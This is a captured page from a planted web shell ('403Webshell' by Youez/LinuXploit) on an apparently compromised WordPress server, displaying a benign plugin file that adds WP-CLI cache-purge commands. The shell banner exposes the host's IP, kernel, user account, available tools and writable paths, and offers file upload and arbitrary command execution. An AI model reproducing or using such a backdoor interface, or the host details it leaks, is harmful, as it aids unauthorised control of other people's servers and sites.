403Webshell
Server IP : 54.36.91.62  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux webm021.cluster127.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : uxhactp ( 169076)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/uxhactp/www/wp-content/plugins/onecom-vcache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/uxhactp/www/wp-content/plugins//onecom-vcache/wp-cli.php
<?php

if (!defined('ABSPATH')) {
    die();
}

if (!defined('WP_CLI')){
    return;
}

/**
 * Purges Varnish Cache
 */
class WP_CLI_VCaching_Purge_Command extends WP_CLI_Command {

    public function __construct() {
        $this->vcaching = new VCachingOC();
    }

    /**
     * Forces a Varnish Purge
     *
     * ## wp cli command for purging cache
     *
     *     wp ocvcaching purge
     *
     */
    public function purge() {
        wp_create_nonce('vcaching-purge-cli');
        $this->vcaching->purge_url(home_url() .'/?vc-regex');
        WP_CLI::success('ALL Varnish cache was purged.');
    }

    /**
     * Manually purges CDN
     *
     * ## wp cli command for purging cdn
     *
     *     wp ocvcaching cdnpurge
     *
     */

    public function cdnpurge($args,$assoc_args){
        if(!isset($assoc_args["onecom-domain"]) || !isset($assoc_args["server-name"]))
        {
            WP_CLI::error( 'Argument Error! Try again with --onecom-domain=xxx --server-name=xxx' );
        }
        $_SERVER['ONECOM_DOMAIN_NAME'] = $assoc_args["onecom-domain"];
        $_SERVER['SERVER_NAME'] = $assoc_args["server-name"];
        $this->onecominc = new OCVCaching();
        $response = $this->onecominc->oc_purge_cdn_cache();
        if ($response){
            WP_CLI::success('CDN purged successfully');
        }else{
            WP_CLI::error('Something unexpected occurred. PLease check debug log for further details');
        }

    }

}

WP_CLI::add_command('ocvcaching', 'WP_CLI_VCaching_Purge_Command');

Youez - 2016 - github.com/yon3zu
LinuXploit